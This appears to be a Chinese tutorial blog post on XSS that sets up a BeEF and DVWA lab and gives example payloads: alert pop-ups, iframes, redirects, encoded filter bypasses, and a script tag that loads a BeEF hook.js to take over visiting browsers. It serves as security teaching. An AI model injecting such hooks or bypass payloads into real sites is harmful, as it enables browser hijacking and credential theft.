XSS攻击与防御

news2024/9/22 9:58:45

目录

一、环境配置

kali安装beef

contos7安装dvwa

二、XSS攻击简介

三、XSS攻击的危害

四、xSS攻击的分类

五、XSS产生的原因

六、构造XSS攻击脚本

(一)基础知识

常用的html标签

常用的js脚本

(二)构造脚本的方式弹窗警告

七、自动XSS攻击

(一)BeEF简介

(二)BeEF功能

(三)利用BeEF自动XSS攻击


一、环境配置

kali安装beef

1更新系统软件包列表:apt update

2.安装BeEF的依赖软件包。 apt install beef-xss

3.启动BeEF服务。beef-xss

4.在浏览器中输入以下网址以访问BeEF控制台。http://localhost:3000/ui/panel

contos7安装dvwa

1.更新系统软件包。yum update

2.安装Docker的依赖项。 yum install -y yum-utils device-mapper-persistent-data lvm2

3.添加Docker的软件源。

yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

4.安装Docker。yum install docker-ce

5.启动Docker服务并设置开机自启。

systemctl start docker systemctl enable docker

6.下载DVWA的Docker镜像。docker pull citizenstig/dvwa

7.创建DVWA的Docker容器。

[root@lucky ~]# docker run --name dvwa4 -d -p 8088:80 -p 3306:3306 citizenstig/dvwa

二、XSS攻击简介

(—) oWASP TOP 10之—,XSS被称为跨站脚本攻击(Cross-site-scripting)

(二)主要基于java script (JS)完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。

(三)XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。

(四)微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

三、XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料4、非法转账 5、强制发送电子邮件 6、网站挂马 让更多人的受害 7、控制受害者机器向其它网站发起攻击

四、xSS攻击的分类

反射型 非持久性跨站点脚本攻击 攻击是一次性的,仅对当次的页面访问产生影响

存储型 持久型跨站点脚本 攻击者的数据存储在服务器端,攻击行为将伴随看攻屯数据一直存在

DOM型 既可能是反射型的,也有可能是存储型的 基于文档对象模型(Document Objeet Model,DOM)的一种漏洞

 

 存储型xss攻击流程

五、XSS产生的原因

Web应用对用户输入过滤不严谨

攻击者写入恶意的脚本代码到网页中

用户访问了含有恶意代码的网页

恶意脚本就会被浏览器解析执行并导致用户被攻击

六、构造XSS攻击脚本

(一)基础知识

常用的html标签
<iframe>iframe标签会创建包含另外一个文档的内联框架
<textarea> textarea标签定义多行的文本输入控件<img>img标签向网页中嵌入一幅图像
<script> script标签用于定义客户端脚本,比如Javascript
script标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件必需的type属性规定脚本的类型。
avascript的常见应用是图像操作、表单验证以及动态内容更新
常用的js脚本

alert :alert方法用于显示带有一条指定消息和一个确认按钮的警告框

window,location:window.locatign对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面 location.href:返回当前显示的文档的完整URL

onload:一张页面或一幅图像完成加载

onsubmit:一个按钮被点击

onerror:在加载文档或图像时发生错误

(二)构造脚本的方式弹窗警告

弹窗警告

<script>alert(1)</script>

 

 页面嵌套

<iframe style="overflow:hidden;width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:Opx;padding:0px;"src="http://192.168.198.130:8088/"></iframe>

  页面重定向

<script> window.location= "https://www.baidu.com/" </script>

</script><script>location.href= "https://www.baidu.com/"</script>

弹窗警告并重定向

<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>

图片标签利用

图像标签,有一定的隐蔽性
<img src=“#” onerror= alert('欢迎来钓鱼')>

绕开过滤的脚本

大小写<ScrIpt>alert('xss')</SCRipt>
字符编码字符编码采用URL、Base64、HTML等编码<img src=x                         οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">  

存储型xss基本演示

This is a<script>alert(1)</script>test comment 

访问恶意代码(网站种马)

七、自动XSS攻击

(一)BeEF简介

Browser Exploitation Framework (BeEF)BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行 渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单

官网:BeEF - The Browser Exploitation Framework Project

(二)BeEF功能

信息收集   持久化控制   社会工程  渗透攻击
网络发现 确认弹框点击劫持 内网渗透
主机信息 小窗口弹窗警告 Metasploit
Cookie获取 中间人 虚假页面   CSRF攻击
会话劫持钓鱼页面DDOS攻击
键盘记录
插件信息

(三)利用BeEF自动XSS攻击

1、kali中启动BeEF

2、登录BeEF: http://192.168.198.133:3000/ui/panel 用户名beef 密码123456

3、在dvwa网站中植入xSS

DVWA植入XSS

DVWA清空缓存

<script src="http://192.168.198.133:3000/hook.js"></script>

修改maxlength=“500”

4、其他机器访问被攻击页面dvwa的页面

本机访问,变成肉机,上线

5、社工攻击范例

命令的颜色区别

绿色对目标主机生效并且不可见(不会被发现)

获得肉机的正在运行的页面

橙色对目标主机生效但可能可见(可能被发现)

灰色对目标主机未必生效(可验证下)

红色对目标主机不生效

可以看出dvwa的账号和密码 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/931786.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python 阿里云盾滑块验证

&#xfeff;<table><tr><td bgcolororange>本文仅供学习交流使用&#xff0c;如侵立删&#xff01;</td></tr></table> 记一次阿里云盾滑块验证分析并通过 操作环境 win10 、 macPython3.9selenium、pyautogui 分析 最近在做中国庭审…

SQLI-labs-第一关

知识点&#xff1a;单引号字符型注入 思路&#xff1a; 1、根据提示&#xff0c;为get注入&#xff0c;在url中输入内容 2、判断注入点 输入?id1&#xff0c;显示数据库语句错误&#xff0c;说明这里存在sql注入漏洞 输入?id1‘ and 11 -- &#xff0c;回显正常&#xff0c…

安科瑞AMB300系列母线槽红外测温解决方案监测母线槽连接处温度-安科瑞黄安南

一、行业背景 随着当今社会的发展和用电量的急剧上升&#xff0c;现代化工程设施和装备的涌现&#xff0c;封闭式母线即母线槽因方便、节能、载流量大、机械强度高 、安装灵活、寿命长等特点&#xff0c;逐渐取代传统电缆&#xff0c;广泛应用于室内变压站、高层建筑和大型厂房…

Lumion软件安装包分享(附安装教程)

目录 一、软件简介 二、软件下载 一、软件简介 Lumion是一款由Lumion公司开发的实时3D渲染和动画制作软件&#xff0c;广泛应用于建筑、规划和设计领域。它以快速、高效和逼真的渲染效果而闻名&#xff0c;帮助用户创建出色的建筑可视化作品。 1、Lumion的主要特点 实时渲染…

导数基本概念

定义 f ( x ) − f ( a ) x − a {f(x) - f(a)\over x -a} x−af(x)−f(a)​ 表示 f(x) 函数从 x 到 a 的平均变化率&#xff0c;如果使 x 趋近于 a&#xff0c;则表示函数在 a 点的变化率。 若有以下极限存在&#xff08;定义域不包含a&#xff09;&#xff1a; lim ⁡ x →…

strstr函数

目录 函数介绍&#xff1a; 函数分析&#xff1a; ​使用案例&#xff1a; 函数介绍&#xff1a; 返回指向 str1 中第一次出现的 str2 的指针&#xff0c;如果 str2 不是 str1 的一部分&#xff0c;则返回一个空指针。 匹配过程不包括终止空字符&#xff0c;但它到此为止。 …

系统架构设计高级技能 · 安全架构设计理论与实践

系列文章目录 系统架构设计高级技能 软件架构概念、架构风格、ABSD、架构复用、DSSA&#xff08;一&#xff09;【系统架构设计师】 系统架构设计高级技能 系统质量属性与架构评估&#xff08;二&#xff09;【系统架构设计师】 系统架构设计高级技能 软件可靠性分析与设计…

小研究 - JVM 逃逸技术与 JRE 漏洞挖掘研究(六)

Java语言是最为流行的面向对象编程语言之一&#xff0c; Java运行时环境&#xff08;JRE&#xff09;拥有着非常大的用户群&#xff0c;其安全问题十分重要。近年来&#xff0c;由JRE漏洞引发的JVM逃逸攻击事件不断增多&#xff0c;对个人计算机安全造成了极大的威胁。研究JRE安…

ToolAI–全球最完整最全面的AI人工智能工具集合

ToolAI是一个全球最完整最全面的AI人工智能工具集合网站&#xff0c;收集了全球最完整的数千个AI网站、工具、app&#xff0c;包含文案写作、邮件助手、聊天机器人、社交媒体等等各种行业类型的AI工具&#xff0c;可以按照地区或者分类进行查找浏览&#xff0c;目前收集6800 人…

CMake3.27+OpenCV4.8+VS2019+CUDA配置

1、准备工作 CMake3.27+OpenCV4.8+opencv_contrib-4.8.0+CUDA+CUDNN+TensorRT下载好并安装cuda 2、正式开始安装 启动CMake开始配置 打开刚解压的cmake文件夹中找到bin目录下的cmake-gui.exe 点击cmake中左下角的 Configure进行第一次配置,会弹出选择环境对话框 …

MyBatis与Spring整合以及AOP和PageHelper分页插件整合

目录 前言 一、MyBatis与Spring整合的好处以及两者之间的关系 1.好处 2.关系 二、MyBatis和Spring集成 1.导入pom.xml 2.编写配置文件 3.利用mybatis逆向工程生成模型层代码 三、常用注解 四、AOP整合pageHelper分页插件 创建一个切面 测试 前言 MyBatis是一个开源的…

容器镜像生成记

概述 容器docker/k8s发布已有一段时间&#xff0c;不少小伙伴开始上手实践。下面以一个简单的应用为例。来说明如何生成镜像并推送至镜像仓库。 准备工作 镜像仓库注册 以最常见的aliyun镜像仓库为例&#xff1a; 支付宝登录aliyun官网&#xff0c;搜索容器镜像服务&#x…

盘点 2023 十大免费开源 WAF

WAF 是 Web Application Firewall 的缩写&#xff0c;也被称为 Web 应用防火墙。区别于传统防火墙&#xff0c;WAF 工作在应用层&#xff0c;对基于 HTTP/HTTPS 协议的 Web 系统有着更好的防护效果&#xff0c;使其免于受到黑客的攻击。 近几年经济增速开始放缓&#xff0c;科…

快速了解;Mybatis-Plus

一、Mybatis-Plus介绍 MyBatis-Plus&#xff08;简称 MP&#xff09;是一个 MyBatis 的增强工具&#xff0c;在 MyBatis 的基础上只做增强不做改变&#xff0c;为简化开发、提高 效率而生。 官网&#xff1a;https://mybatis.plus/ 或 https://mp.baomidou.com/ 文档地址&…

arm体系结构:汇编指令

前言 本文主要介绍ARM RISC 32位体系结构下的相关知识&#xff0c;主要理解寄存器和相关指令&#xff0c;主要读懂汇编。ARM汇编指令集汇总 指令集介绍 ARM微处理器的指令集是加载/存储型的&#xff0c;也即指令集仅能处理寄存器中的数据&#xff0c;而且处理结果都要放回寄…

科大讯飞笔试编程第二题(处理Scanner不能先输入数字再输入字符串问题)

问题&#xff1a; 在使用scanner的时候如果先读取一个数字&#xff0c;在读取一行带有空格的字符串&#xff0c;势必会出错或者字符串读不到 public static void main(String[] args) {Scanner scanner new Scanner(System.in);int x scanner.nextInt();String s scanner.n…

RabbitMQ-常用命令

RabbitMQ常用命令 3.1 启动停止rabbitMQ命令 # 前台启动Erlang VM 和 RabbitMQ 当窗口关闭或者ctrlc时&#xff0c;使退出了。 rabbitmq-server# 使用系统命令启动 systemctl start rabbitmq-server# 后台启动 rabbitmq-server -detached# 停止rabbitMQ和Erlang VM rabbitmq-…

锁的相关策略

乐观锁vs悲观锁 指的不是具体的锁,是一个抽象的概念,描述的是锁的特性,描述的是一类锁 乐观锁 假设数据一般情况下不会产生并发冲突,所以在数据进行提交更新的时候,才会正式对数据是否产生并发冲突进行检测,如果发现并发冲突了,就让返回用户错误的信息,让用户决定如何去做.(…

3dsMax软件安装包分享(附安装教程)

目录 一、软件简介 二、软件下载 一、软件简介 3dsMax是一款由Autodesk公司开发的著名的三维计算机图形软件&#xff0c;广泛应用于动画、游戏、建筑和产品设计等领域。它以强大的建模、动画、渲染和特效功能而闻名&#xff0c;为用户提供了一个完整的制作流程&#xff0c;从…